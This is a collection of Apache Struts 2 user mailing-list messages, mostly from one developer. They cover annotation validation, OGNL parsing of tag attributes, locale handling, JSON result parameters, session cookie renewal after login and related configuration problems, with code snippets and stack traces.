Hello, I have an Action that receives a parameter *email *on a bean *event*. So basically the parameter is send to the server with name * event.email=jlmagcatgmail.com*'. The bean and the parameter are created correctly, so this part works ok. Now I want to validate the input using annotations. In order to do that I'm using the following annotation at the Action level: @Validations( requiredStrings = {@RequiredStringValidator(type = ValidatorType.SIMPLE, fieldName = event.email, key = validation-error.mandatory)} ) and in the package.properties I have the following definition validation-error.mandatory= The field ${getText(fieldName)} is mandatory event.email = e-mail With this setup, if the parameter event.email is empty or not present, the validator evaluates the expression and returns to the user the following message: The field e-mail is mandatory. It evaluates the key as an OGNL expression, retrieves the fieldName, evaluates the getTest, and elaborate the sentence correctly. So it works ok The issue here is that this forces me to define a property event.email since the attribute fieldName in the annotation is used both to locate the field that needs validation, and as argument for the getText. Is it possible to split that those two roles, so I can user my already existing property email, instead of having to duplicate it as event.email? Regards JL
Re: S2: NullPointerException at AnnotationActionValidatorManager.lo adFile
Lukasz, when you say he does no need validators.xml, I supose it is because he is not using custom validators, right? Sent from my iPad On Sep 22, 2013, at 1:14 PM, Lukasz Lenart lukaszlen...@apache.org wrote: Hi, Remove validators.xml - you don't need them. Can you post your whole page? Regards -- Łukasz + 48 606 323 122 http://www.lenart.org.pl/ 2013/9/21 Néstor Boscán nestor.bos...@tcs.com.ve: With the DTD solved the NullPointerException problem but I'm still not getting the javascript code that validates per field. My files are: LoginAction-validation.xml !DOCTYPE validators PUBLIC -//Apache Struts//XWork Validator 1.0.3//EN http://struts.apache.org/dtds/xwork-validator-1.0.3.dtd; validators field name=username field-validator type=required messageEl usuario es requerido/message /field-validator /field field name=password field-validator type=required messageLa contrasenia es requerida/message /field-validator /field /validators validators.xml ?xml version=1.0 encoding=UTF-8? !DOCTYPE validators PUBLIC -//Apache Struts//XWork Validator Definition 1.0//EN http://struts.apache.org/dtds/xwork-validator-definition-1.0.dtd; validators validator name=required class=com.opensymphony.xwork2.validator.validators.RequiredFieldValidator/ validator name=requiredstring class=com.opensymphony.xwork2.validator.validators.RequiredStringValidator/ validator name=int class=com.opensymphony.xwork2.validator.validators.IntRangeFieldValidator/ validator name=long class=com.opensymphony.xwork2.validator.validators.LongRangeFieldValidator/ validator name=short class=com.opensymphony.xwork2.validator.validators.ShortRangeFieldValidator/ validator name=double class=com.opensymphony.xwork2.validator.validators.DoubleRangeFieldValidator/ validator name=date class=com.opensymphony.xwork2.validator.validators.DateRangeFieldValidator/ validator name=expression class=com.opensymphony.xwork2.validator.validators.ExpressionValidator/ validator name=fieldexpression class=com.opensymphony.xwork2.validator.validators.FieldExpressionValidator/ validator name=email class=com.opensymphony.xwork2.validator.validators.EmailValidator/ validator name=url class=com.opensymphony.xwork2.validator.validators.URLValidator/ validator name=visitor class=com.opensymphony.xwork2.validator.validators.VisitorFieldValidator/ validator name=conversion class=com.opensymphony.xwork2.validator.validators.ConversionErrorFieldValidator/ validator name=stringlength class=com.opensymphony.xwork2.validator.validators.StringLengthFieldValidator/ validator name=regex class=com.opensymphony.xwork2.validator.validators.RegexFieldValidator/ validator name=conditionalvisitor class=com.opensymphony.xwork2.validator.validators.ConditionalVisitorFieldValidator/ /validators The form tag has validate=true. When I generate the page I get: script type=text/javascript function validateForm_login() { var getFieldValue = function(field) { var type = field.type ? field.type : field[0].type; if (type == 'select-one' || type == 'select-multiple') { return (field.selectedIndex == -1 ? : field.options[field.selectedIndex].value); } else if (type == 'checkbox' || type == 'radio') { if (!field.length) { field = [field]; } for (var i = 0; i field.length; i++) { if (field[i].checked) { return field[i].value; } } return ; } return field.value; } form = document.getElementById(login); clearErrorMessages(form); clearErrorLabels(form); var errors = false; var continueValidation = true; return !errors; } /script Is like he's not detecting the fields On Fri, Sep 20, 2013 at 9:49 PM, JOSE L MARTINEZ-AVIAL jlm...@gmail.comwrote: It could be related to the DTD: http://stackoverflow.com/questions/17144563/struts2-annotation-valiation-nullpointer-exception 2013/9/20 JOSE L MARTINEZ-AVIAL jlm...@gmail.com I assume you have an xml file to set the definitions, right? could you share it? 2013/9/20 Néstor Boscán nesto...@gmail.com I've been trying to make Struts 2 JavaScript Validation work on WebLogic 10.3.6. I first used 2.3.8 version and then the latest 2.3.15.2 version. I still get the same error: java.lang.NullPointerException at com.opensymphony.xwork2.validator.AnnotationActionValidatorManager.lo adFile(AnnotationActionValidatorManager.java:391) at com.opensymphony.xwork2.validator.AnnotationActionValidatorManager.bu ildAliasValidatorConfigs(AnnotationActionValidatorManager.java:271) Any ideas
Re: S2: NullPointerException at AnnotationActionValidatorManager.lo adFile
I assume you have an xml file to set the definitions, right? could you share it? 2013/9/20 Néstor Boscán nesto...@gmail.com I've been trying to make Struts 2 JavaScript Validation work on WebLogic 10.3.6. I first used 2.3.8 version and then the latest 2.3.15.2 version. I still get the same error: java.lang.NullPointerException at com.opensymphony.xwork2.validator.AnnotationActionValidatorManager.lo adFile(AnnotationActionValidatorManager.java:391) at com.opensymphony.xwork2.validator.AnnotationActionValidatorManager.bu ildAliasValidatorConfigs(AnnotationActionValidatorManager.java:271) Any ideas?
Re: S2: NullPointerException at AnnotationActionValidatorManager.lo adFile
It could be related to the DTD: http://stackoverflow.com/questions/17144563/struts2-annotation-valiation-nullpointer-exception 2013/9/20 JOSE L MARTINEZ-AVIAL jlm...@gmail.com I assume you have an xml file to set the definitions, right? could you share it? 2013/9/20 Néstor Boscán nesto...@gmail.com I've been trying to make Struts 2 JavaScript Validation work on WebLogic 10.3.6. I first used 2.3.8 version and then the latest 2.3.15.2 version. I still get the same error: java.lang.NullPointerException at com.opensymphony.xwork2.validator.AnnotationActionValidatorManager.lo adFile(AnnotationActionValidatorManager.java:391) at com.opensymphony.xwork2.validator.AnnotationActionValidatorManager.bu ildAliasValidatorConfigs(AnnotationActionValidatorManager.java:271) Any ideas?
Re: Escape expression in dynamic attribute in a tag
It does not work. s:textfield name=userName dojoType=dijit.form.FilteringSelect queryExpr='*$' +'{0}'* theme=simple store=comboStore jsId=UserSelect id=UserSelect searchAttr=userNamesKey pageSize=15 autoComplete=false / is translated as: input type=text name=userName value= id=UserSelect queryExpr='*$' +'{0}'* dojoType=dijit.form.FilteringSelect store=comboStore autoComplete=false pageSize=15 jsId=UserSelect searchAttr=userNamesKey/ Any suggestions? 2013/8/30 Lukasz Lenart lukaszlen...@apache.org queryExpr='*$' +'{0}'* 2013/8/30 Jose L Martinez-Avial jlm...@gmail.com: Hi all, I'm pretty sure this is just a silly question, but I haven't been able to find anything. I have the following tag with some dynamics attribues: s:textfield name=userName3 dojoType=dijit.form.FilteringSelect theme=simple store=comboStore sId=UserSelect2 id=UserSelect2 searchAttr=userNamesKey pageSize=25 autoComplete=false / I need to add the attribute queryExpr=*\${0}* to the resulting html. The problem is that if I just put that attribute in the tag, I got the following result: input type=text name=userName3 value= id=UserSelect2 queryExpr=*0* dojoType=dijit.form.FilteringSelect store=comboStore autoComplete=false pageSize=25 jsId=UserSelect2 searchAttr=userNamesKey/ Obviously, it is trying to parse the expression in queryExpr. Any suggestion about how I can escape it? Thanks - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
Escape expression in dynamic attribute in a tag
Hi all, I'm pretty sure this is just a silly question, but I haven't been able to find anything. I have the following tag with some dynamics attribues: s:textfield name=userName3 dojoType=dijit.form.FilteringSelect theme=simple store=comboStore sId=UserSelect2 id=UserSelect2 searchAttr=userNamesKey pageSize=25 autoComplete=false / I need to add the attribute queryExpr=*\${0}* to the resulting html. The problem is that if I just put that attribute in the tag, I got the following result: input type=text name=userName3 value= id=UserSelect2 queryExpr=*0* dojoType=dijit.form.FilteringSelect store=comboStore autoComplete=false pageSize=25 jsId=UserSelect2 searchAttr=userNamesKey/ Obviously, it is trying to parse the expression in queryExpr. Any suggestion about how I can escape it? Thanks - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
Re: Keeping current locale after logging out
The closeSession redirects to a new page? In that case the setLocale is lost (it only lives during the request) and the new local is picked up from the browser language, or from the default language you have setup. 2013/7/31 Antonio Sánchez juntandolin...@gmail.com At logging out, session is invalidated and redirected page is displayed in default language. Say: default language: Spanish; current language: English; logging out and resulted page is in Spanish, but should be English. . This is not working (code in action class): public String closeSession() { Locale currentLocale = ActionContext.getContext().getLocale(); request.getSession().invalidate(); ActionContext.getContext().setLocale(currentLocale); return SUCCESS; } How to maintain the current language? Thanks.
Access result name from JSP
Hi, I have an action where all the possible results show the initial screen. I do that by using a * result action name=DoPublishDocument class= xxx.yyy.zzz.PublishDocument interceptor-ref name=my-stack result name=* type=tilescustomer.publish-document.screen/result /action But I would like to do some distinction in the underlying JSP between the diferent results, and for that I need to get the action result from the JSP. Is there an easy way to get it? Thanks JL
Re: Access result name from JSP
Actually, what I want is to get the result name returned by the action, not the action name. Is there a simple way I can access the result from the JSP? 2013/6/11 Lukasz Lenart lukaszlen...@apache.org 2013/6/10 JOSE L MARTINEZ-AVIAL jlm...@gmail.com: Hi, I have an action where all the possible results show the initial screen. I do that by using a * result action name=DoPublishDocument class= xxx.yyy.zzz.PublishDocument interceptor-ref name=my-stack result name=* type=tilescustomer.publish-document.screen/result /action But I would like to do some distinction in the underlying JSP between the diferent results, and for that I need to get the action result from the JSP. Is there an easy way to get it? I think there isn't a simple way. You must write an interceptor which will set action name on the action, ie. public String intercept(ActionInvocation ai) { Object action = ai.getAction(); if (action instanceof ActionNameAware){ ((ActionNameAware)action).setActionName(ai.getProxy().getActionName()); } } Regards -- Łukasz + 48 606 323 122 http://www.lenart.org.pl/ - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
VisitorFieldValidation with annotations at action level
Hi, I have an action with a getter/setter of a bean : public class MyAction extends ActionSupport implements Preparable { private BeanEvent event = null; public void prepare() { this.event = new BeanEvent(); } public BeanEvent getEvent() { return this.event; } public void setEvent(BeanEvent e) { this.event = e; } } The bean is a standard Java bean with getters and setters for some properties. I would like to validate the bean using annotations at MyAction level, so no annotations would be needed in the BeanEvent. I understand that the VisitorFieldValidation allows to use validation for beans, but only when definining the actual validation in the bean. Is there any way I could define the validation at the Action level? Thanks KL
Re: Update Cookie JSESSIONID
Are you creating a new session after invalidating the original one? If you do that, the server should send a new JSESSIONID cookie to the client on the response. Otherwise I don't know how your server will work, but I assume it will not sent any cookie back to the client, and therefore the browser will still have the old JSESSIONID and sent it to the server on every request(until a new session is created or the browser is closed). JL 2013/4/3 Peter Lin peterli...@gmail.com Thanks, Martins. CreateSessionInterceptor is not the answer for my case. My authentication action class already implements SessionAware, the SessionMap is available for use. My problem is after authentication, I would like to clear existing user session, and create a new one, in which I would store some data for other action classes to use. But my application server still pick the old JSESSIONID as the identifier of the new session - it is a security hole. Before an user invokes my authentication action class, he needs to enter username/password to the form. I tried to set JSESSIONID cookie to expired in displaying login page. I can see the cookie get sent back to browser with expired attribute, but the browser still sends the same JSESSIONID cookie in the following request, which is to invoke authentication class. Then I was thinking whether I am able to create an Interceptor to block the JSESSIONID cookie from sending to authentication action class or not? Not sure how to do that. Thanks, Peter On Wed, Apr 3, 2013 at 7:39 PM, Martin Gainty mgai...@hotmail.com wrote: Put the create-session interceptor into your action action name=someAction class=com.examples.SomeAction interceptor-ref name=createSession/ interceptor-ref name=defaultStack/ result name=inputinput_with_token_tag.ftl/result /action http://struts.apache.org/development/2.x/docs/create-session-interceptor.htmlMartin __ Verzicht und Vertraulichkeitanmerkung Diese Nachricht ist vertraulich. Sollten Sie nicht der vorgesehene Empfaenger sein, so bitten wir hoeflich um eine Mitteilung. Jede unbefugte Weiterleitung oder Fertigung einer Kopie ist unzulaessig. Diese Nachricht dient lediglich dem Austausch von Informationen und entfaltet keine rechtliche Bindungswirkung. Aufgrund der leichten Manipulierbarkeit von E-Mails koennen wir keine Haftung fuer den Inhalt uebernehmen. Date: Wed, 3 Apr 2013 15:23:09 -0500 Subject: Update Cookie JSESSIONID From: peterli...@gmail.com To: user@struts.apache.org Due to our server always picks up the old JSESSIONID for creating a new user session if a cookie JSESSIONID has been passed - Waiting for Basis team to solve it. I tried to set the cookie JSESSIONID to expired before display the login screen, but failed. I just wonder can I block the JSESSIONID cookie in Interceptor, so this cookie would not get to authentication action - the server would create a new sessionId for the new user session. If that is impossible, could some one point me to the light? Issue I face: Even I use the following code in Authentication action class after credential check, the application server still uses the old JSESSIONID for the new session. //invalidate the existing session and create a new one ((org.apache.struts2.dispatcher.SessionMapString,Object) session).invalidate(); session = ActionContext.getContext().getSession(); Thanks, Peter
Re: json result type not parse OGNL expressions in params
I just created the issue: https://issues.apache.org/jira/browse/WW-3906 I think I can implement part of this issue on my own. What do I need to do in order to collaborate in this? Thanks JL 2012/10/22 Lukasz Lenart lukaszlen...@apache.org 2012/10/21 JOSE L MARTINEZ-AVIAL jlm...@gmail.com: I just reviewed the code, and it seems that the HttpHeaderResult only parses the parameters headers and errorMessage, but not the parameters status or error. I think it could be a nice thing to have. my workaround is to extend JSONResult incorporating the following: public void setStatusCode(String statusCode) { ValueStack stack = ActionContext.getContext().getValueStack(); setStatusCode(Integer.parseInt(TextParseUtil.translateVariables(statusCode, stack))); } public void setErrorCode(String errorCode) { ValueStack stack = ActionContext.getContext().getValueStack(); setErrorCode(Integer.parseInt(TextParseUtil.translateVariables(errorCode, stack))); } It works fine but I think that this feature should be incorporated to all parameters. I would like to know opinions from other people before opening a jira issue for this. It makes sense, please register an issue. But jus one thing, you should delay expression evaluation to very end and not to evaluate params when you setting them up, rather when you using them in a code, like: public void setErrorCode(String errorCode) { this.errorCode = errorCode; } and in protected void writeToResponse(HttpServletResponse response, String json, boolean gzip) throws IOException { int errorCode = evaluate(errorCode); JSONUtil.writeJSONToResponse(new SerializationParams(response, getEncoding(), isWrapWithComments(), json, false, gzip, noCache, statusCode, errorCode, prefix, contentType, wrapPrefix, wrapSuffix)); } Regards -- Łukasz mobile +48 606 323 122 http://www.lenart.org.pl/ Warszawa JUG conference - Confitura http://confitura.pl/ - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
Re: json result type not parse OGNL expressions in params
I just reviewed the code, and it seems that the HttpHeaderResult only parses the parameters headers and errorMessage, but not the parameters status or error. I think it could be a nice thing to have. my workaround is to extend JSONResult incorporating the following: public void setStatusCode(String statusCode) { ValueStack stack = ActionContext.getContext().getValueStack(); setStatusCode(Integer.parseInt(TextParseUtil.translateVariables(statusCode, stack))); } public void setErrorCode(String errorCode) { ValueStack stack = ActionContext.getContext().getValueStack(); setErrorCode(Integer.parseInt(TextParseUtil.translateVariables(errorCode, stack))); } It works fine but I think that this feature should be incorporated to all parameters. I would like to know opinions from other people before opening a jira issue for this. JL 2012/10/21 JOSE L MARTINEZ-AVIAL jlm...@gmail.com Hi, I'm using a json result type defined as follows: result-type name=json-action class=org.apache.struts2.json.JSONResult param name=ignoreHierarchyfalse/param param name=includePropertiesresultName,resultMessage,data.*,fieldErrors.*,actionErrors.*,actionMessages.*/param param name=excludeNullPropertiestrue/param param name=noCachetrue/param param name=errorCode${errorCode}/param /result-type Everything works great, except the parameter errorCode. I populated the errorCode in the ValueStack doing: invocation.getStack().set(errorCode, errorCode); where errorCode is an int. But the errorcode is not been setup in the response, and in fact I can see the following stacktrace: 2012-10-21 02:54:01,060 INFO com.opensymphony.xwork2.ObjectFactory - Exception Caught OgnlException while setting property 'errorCode' on type 'org.apache.struts2.json.JSONResult'. - Class: ognl.OgnlRuntime File: OgnlRuntime.java Method: callAppropriateMethod Line: 1226 - ognl/OgnlRuntime.java:1226:-1 at com.opensymphony.xwork2.ognl.OgnlUtil.internalSetProperty(OgnlUtil.java:412) at com.opensymphony.xwork2.ognl.OgnlUtil.setProperty(OgnlUtil.java:160) at com.opensymphony.xwork2.ognl.OgnlReflectionProvider.setProperty(OgnlReflectionProvider.java:91) at com.opensymphony.xwork2.ObjectFactory.buildResult(ObjectFactory.java:243) at com.opensymphony.xwork2.DefaultActionInvocation.createResult(DefaultActionInvocation.java:223) at com.opensymphony.xwork2.DefaultActionInvocation.executeResult(DefaultActionInvocation.java:372) at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:282) at com.spb.mvc.security.authentication.web.RedirectToLoginInterceptor.intercept(RedirectToLoginInterceptor.java:28) at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:253) at org.apache.struts2.impl.StrutsActionProxy.execute(StrutsActionProxy.java:52) at org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:498) at org.apache.struts2.dispatcher.ng.ExecuteOperations.executeAction(ExecuteOperations.java:77) at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:91) at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:42) at com.spb.eco.security.auditory.web.Log4jSessionIdFilter.doFilter(Log4jSessionIdFilter.java:47) at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:42) at weblogic.servlet.internal.WebAppServletContext$ServletInvocationAction.run(WebAppServletContext.java:3496) at weblogic.security.acl.internal.AuthenticatedSubject.doAs(AuthenticatedSubject.java:321) at weblogic.security.service.SecurityManager.runAs(Unknown Source) at weblogic.servlet.internal.WebAppServletContext.securedExecute(WebAppServletContext.java:2180) at weblogic.servlet.internal.WebAppServletContext.execute(WebAppServletContext.java:2086) at weblogic.servlet.internal.ServletRequestImpl.run(ServletRequestImpl.java:1406) at weblogic.work.ExecuteThread.execute(ExecuteThread.java:201) at weblogic.work.ExecuteThread.run(ExecuteThread.java:173) Caused by: java.lang.NoSuchMethodException: org.apache.struts2.json.JSONResult.setErrorCode(java.lang.String) at ognl.OgnlRuntime.callAppropriateMethod(OgnlRuntime.java:1226) at ognl.OgnlRuntime.setMethodValue(OgnlRuntime.java:1474) at ognl.ObjectPropertyAccessor.setPossibleProperty(ObjectPropertyAccessor.java:85) at ognl.ObjectPropertyAccessor.setProperty(ObjectPropertyAccessor.java:162) at com.opensymphony.xwork2.ognl.accessor.ObjectAccessor.setProperty(ObjectAccessor.java:27) at ognl.OgnlRuntime.setProperty(OgnlRuntime.java:2245) at ognl.ASTProperty.setValueBody(ASTProperty.java:127) at ognl.SimpleNode.evaluateSetValueBody
Re: json result type not parse OGNL expressions in params
I just tried that, but it does not make any difference. 2012/10/21 Per Pascal Grube cyber...@flightmare.net Hi, On Sunday 21 October 2012 03:12:07 JOSE L MARTINEZ-AVIAL wrote: Hi, I'm using a json result type defined as follows: result-type name=json-action class=org.apache.struts2.json.JSONResult param name=ignoreHierarchyfalse/param param name=includePropertiesresultName,resultMessage,data.*,fieldErrors.*,actio nErrors.*,actionMessages.*/param param name=excludeNullPropertiestrue/param param name=noCachetrue/param param name=errorCode${errorCode}/param /result-type I don't know if it makes a difference, but I use %{ } in the param tag to get the values from my actions. Regards, Pascal - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
Re: Dynamic attributes on s:textfield are not been parsed for OGNL expressions
Never mind. It is supported in Struts 2.3.4. Thanks JL 2012/10/13 JOSE L MARTINEZ-AVIAL jlm...@gmail.com Hi, I'm using Struts2 in combination with Dojo (1.6) for the client side. The issue I have is that I want to setup an attribute regExp with an OGNL expression, but the OGNL expression is not been parsed. It just puts the attribute value as it is in the HTML tag. Is there any way I can force it to parse the attribute? Thanks JL
Re: content-language header with Struts2 does not uses the invocation locale
Created!! https://issues.apache.org/jira/browse/WW-3886 I hope the explanation is clear. Thanks JL 2012/10/10 Lukasz Lenart lukaszlen...@apache.org 2012/10/10 JOSE L MARTINEZ-AVIAL jlm...@gmail.com: Hi all, I'm using Struts 2.2.3. I've setup a property struts.locale with value es_ES, for Spanish. But my application is multilanguage, so I setup the locale in the request using an interceptor: public String intercept(ActionInvocation invocation) throws Exception { [...] get locale for the user [...] invocation.getInvocationContext().setLocale(userLocale); return invocation.invoke(); } The action and the JSPs(I'm using Tiles),correctly use the locale I set(so the response has the body in the correct language), but the header content-language is returning always es_ES, no matter the locale I put in the invocationcontext. Any ideas on how can I get the correct locale in the header? a Meta tag in the page is not an option, since I have the same problem even with JSONResults. Try to set struts.locale to empty string struts.locale= or something that cannot be parsed as a Locale struts.locale=es_es_es then Dispatcher will use Locale from HttpServletRequest, but anyway please report a bug, Dispatcher should base on LocaleProvider, right now it looks like this: Locale locale = null; if (defaultLocale != null) { // -- struts.locale locale = LocalizedTextUtil.localeFromString(defaultLocale, request.getLocale()); } if (locale != null) { response.setLocale(locale); } and the ActionContext is initialized as: Locale locale; if (defaultLocale != null) { locale = LocalizedTextUtil.localeFromString(defaultLocale, request.getLocale()); } else { locale = request.getLocale(); } anyway there is a mismatch :P Thanks in advance -- Łukasz + 48 606 323 122 http://www.lenart.org.pl/ - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
Re: Tag s:textfield does not parse OGNL expressions for dynamic attributes
Struts 2.2.3. The only plugings are Tiles and Json. According to the TLD the tag s:textfield supports dynamic attributes, and it does (the attribute is created in the HTML code), but the value of the attribute is not parsed for OGNL expressions. Thanks JL 2012/7/24 Maurizio Cucchiara mcucchi...@apache.org In addition to what Lukasz said, which plugins are you using (f.e. JavaTemplateEngine could behaviour differently)? Sent from my mobile device, so please excuse typos and brevity. Maurizio Cucchiara Il giorno 24/lug/2012 07.01, JOSE L MARTINEZ-AVIAL jlm...@gmail.com ha scritto: Hi, I have the following textfield: s:textfield autocomplete=off name=userLoginName theme=simple id=userLoginName maxLength=20 regExp=^\w{6,20}$ trim=true uppercase=true dojoType=dijit.form.ValidationTextBox required=true intermediateChanges=false invalidMessage=%{getText('UserLoginNameStrength.label')} / The OGNL expression in the invalidMessage attribute is not been parsed, it just puts the expression in the attribute. Am I doing something wrong, or is it a bug? Thanks JL
Tag s:textfield does not parse OGNL expressions for dynamic attributes
Hi, I have the following textfield: s:textfield autocomplete=off name=userLoginName theme=simple id=userLoginName maxLength=20 regExp=^\w{6,20}$ trim=true uppercase=true dojoType=dijit.form.ValidationTextBox required=true intermediateChanges=false invalidMessage=%{getText('UserLoginNameStrength.label')} / The OGNL expression in the invalidMessage attribute is not been parsed, it just puts the expression in the attribute. Am I doing something wrong, or is it a bug? Thanks JL
Re: PreffixMapper for language
Last try: Hello, I have a requisite to provide multilanguage in my app using a preffix in the action. So the URLs would be http://myserver/mypackage/myaction (for the default language) http://myserver/en/mypackage/myaction (for english) http://myserver/pt/mypackage/myactionhttp://myserver/en/mypackage/myaction(for portuguese) The actions will not change, so I was thinking of using the PreffixMapper (slightly modified to pass the language as a parameter for a interceptor that will take care of the Locale). Has somebody done something like this? Is there a better approach? Thanks. JL 2012/7/9 jlm...@gmail.com Sorry, It went through too early Sent via BlackBerry from T-Mobile -Original Message- From: jlm...@gmail.com Date: Mon, 9 Jul 2012 18:56:43 To: Struts Users Mailing Listuser@struts.apache.org Reply-To: jlm...@gmail.com Subject: PreffixMapper for language Hello, I have a requisite to provide multilanguage in my app using a preffix in the action. So the URLs would be http://myserver/mypackage/myaction (for the default language) http://myserver/en/mypackage/myaction (for english) Sent via BlackBerry from T-Mobile
Re: PreffixMapper for language
Hi Takanori Hayashi, Yes, I know I can do that. The problem is that the requisite is to receive the language through the URL. I want to retrieve the locale, put it into the ActionContext, remove the locale from the URL, and then send the request to the ActionMapper, so the mapping won't depend on the language(because I removed it from the URL). That's the tricky part. JL 2012/7/9 Takanori Hayashi thaya...@na.rim.or.jp Hello Josel Martinez-Avial, To make mutilanguage application in Struts, you can use property files like MessageResources_en.propeties, MessageResources_pt.properties for portuguese. The property files are placed under src directory and classes directory after compiled. Configuration file is struts-config.xml like message-resources parameter=MessageResources / The example of MessgeResources_en.properties is sendMessage.heading=Sending a message MessageResources_pt.properties would be sendMessage.heading=(**portuguese of Sending a message) The example of a JSP file contents is bean:message key=sendMessage.message/ Regards, Takanori Hayashi (2012/07/10 4:27), JOSE L MARTINEZ-AVIAL wrote: Last try: Hello, I have a requisite to provide multilanguage in my app using a preffix in the action. So the URLs would be http://myserver/mypackage/**myaction http://myserver/mypackage/myaction(for the default language) http://myserver/en/mypackage/**myactionhttp://myserver/en/mypackage/myaction(for english) http://myserver/pt/mypackage/**myactionhttp://myserver/pt/mypackage/myaction http://myserver/en/**mypackage/myactionhttp://myserver/en/mypackage/myaction (for portuguese) The actions will not change, so I was thinking of using the PreffixMapper (slightly modified to pass the language as a parameter for a interceptor that will take care of the Locale). Has somebody done something like this? Is there a better approach? Thanks. JL 2012/7/9 jlm...@gmail.com Sorry, It went through too early Sent via BlackBerry from T-Mobile -Original Message- From: jlm...@gmail.com Date: Mon, 9 Jul 2012 18:56:43 To: Struts Users Mailing Listuser@struts.apache.org Reply-To: jlm...@gmail.com Subject: PreffixMapper for language Hello, I have a requisite to provide multilanguage in my app using a preffix in the action. So the URLs would be http://myserver/mypackage/**myactionhttp://myserver/mypackage/myaction(for the default language) http://myserver/en/mypackage/**myactionhttp://myserver/en/mypackage/myaction(for english) Sent via BlackBerry from T-Mobile --**--**- To unsubscribe, e-mail: user-unsubscribe@struts.**apache.orguser-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
Re: Reference to static field as parameter value in Struts2
Well, after all it works just fine, I don't know what I was doing wrong. I needed something more complicate than just a static field, I needed to execute a static method, and then a getter from the returned object. The final solution was: param name=headers.Location${@zzz.yyy.xxx.Myclass@getInstance ().getValue()}/param 2012/7/7 JOSE L MARTINEZ-AVIAL jlm...@gmail.com Hi, Is it possible to have a result as follows: result name=defaultLocaleLoginScreen type=httpheader param name=status301/param param name=headers.Location${@ zzz.yyy.xxx.MyClass@MyValue}/param /result Where MyValue is a static field of the class MyClass? I haven't been able to get it to work. Any ideas?
Reuse of Actions trough s:action. Objectives and inconveniences.
Hi, We are developing an web application that uses Struts2 + Tiles + JSP, plus Dojo for the UI. The application uses the JSON plugin, since we do a lot of interactions through AJAX calls using JSON. We are also building a thick client that will only uses JSON to communicate with the server. It will invocate Struts2 actions to retrieve information, and those actions will provide a JSON result with the information solicited. Some of those communications will download list of thinks (list of documents for the user, for example). The thing is that we want to avoid duplications of code, so in order to reuse those actions that produce JSON for the thick client, we are using those same actions to get the same information for the browser. We have made the pages compatible with that; the browser uses AJAX calls to call those actions and show the retrieved information. But that also implies a lot of HTTP connections to the server, which we would like to avoid. The way we have thought to avoid those extra communications is to use the tag s:action on the JSP. That way the action is invoked inline from the presentation layer, and the information(the JSON returned by the action) incorporated on the JSP and sent to the browser, where the UI is created with Dojo and shown to the user. The only problem I see is that the list of interceptors is fully executed when calling those actions from the JSP. It makes sense, of course, but that also add a lot of overhead I woiuld like to avoid. Does anyone see some obviouse flaw on this design? Is there a better way to provide that JSON information without duplicating code and avoiding the overhead? Thanks
Reuse Struts2 Actions for thick clients
Hi, We are using Struts 2 for a web application that we have been developed for about a year. The app uses Dojo on the client side to build the UI, and has a mix of 'normal' screens (Struts + Tiles + JSP) and a lot of AJAX/JSON (also through Struts) actions to request information from the client to the app. The thing is that we have been asked to create an iPad app with the same functionality as the web app. Our first approach is to write a small thick client (iOS app) that will take care of the presentation layer, and reuse the action we have developed as much as possible. The communication between the app and the server side would be made using webservices or JSON over HTTP(The later option is preferred to avoid the overload introduced by the webservice). We would need to create new JSON actions in order to provide the information that today is only provided when doing a normal navigation, and maybe we would redo the normal navigations to relay more heavily on JSON so we would have more common code. Has anyone done something like this? Is there something obviously wrong or that could be improved on? Any thoughts about this? Thanks Jose Luis
Re: exception while setting cookie
It seems that your cookie is bigger than the maximum admitted(which is 4k). 2011/11/28 Debraj Mallick sridebrajmall...@gmail.com *my action : * public class SetCookieAction extends ActionSupport implements ServletRequestAware, ServletResponseAware { private ListIngredientBean ingredientBeanList; protected HttpServletResponse servletResponse; @Override public void setServletResponse(HttpServletResponse servletResponse) { this.servletResponse = servletResponse; } protected HttpServletRequest servletRequest; @Override public void setServletRequest(HttpServletRequest servletRequest) { this.servletRequest = servletRequest; } public String AddCookie() { Gson gson = new Gson(); ingredientBeanList = ingredientService.obtainAllIngredientsByUserId(new Long(2)); String gstr = gson.toJson(ingredientBeanList); String str = Base64.encode(gstr.getBytes()); Cookie mycookie = new Cookie(ingredientList, str); mycookie.setMaxAge(60*60*24*365); servletResponse.addCookie(mycookie); } public IngredientService getIngredientService() { return ingredientService; } public void setIngredientService(IngredientService ingredientService) { this.ingredientService = ingredientService; } } *stack trace:* * * org.apache.catalina.connector.CoyoteAdapter service SEVERE: An exception or error occurred in the container during the request processing java.lang.ArrayIndexOutOfBoundsException: 8192 at org.apache.coyote.http11.AbstractOutputBuffer.write(AbstractOutputBuffer.java:522) at org.apache.coyote.http11.AbstractOutputBuffer.write(AbstractOutputBuffer.java:429) at org.apache.coyote.http11.AbstractOutputBuffer.sendHeader(AbstractOutputBuffer.java:395) at org.apache.coyote.http11.AbstractHttp11Processor.prepareResponse(AbstractHttp11Processor.java:965) at org.apache.coyote.http11.AbstractHttp11Processor.action(AbstractHttp11Processor.java:739) at org.apache.coyote.Response.action(Response.java:170) at org.apache.coyote.Response.sendHeaders(Response.java:350) at org.apache.catalina.connector.OutputBuffer.doFlush(OutputBuffer.java:315) at org.apache.catalina.connector.OutputBuffer.close(OutputBuffer.java:275) at org.apache.catalina.connector.Response.finishResponse(Response.java:501) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:426) at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:317) at 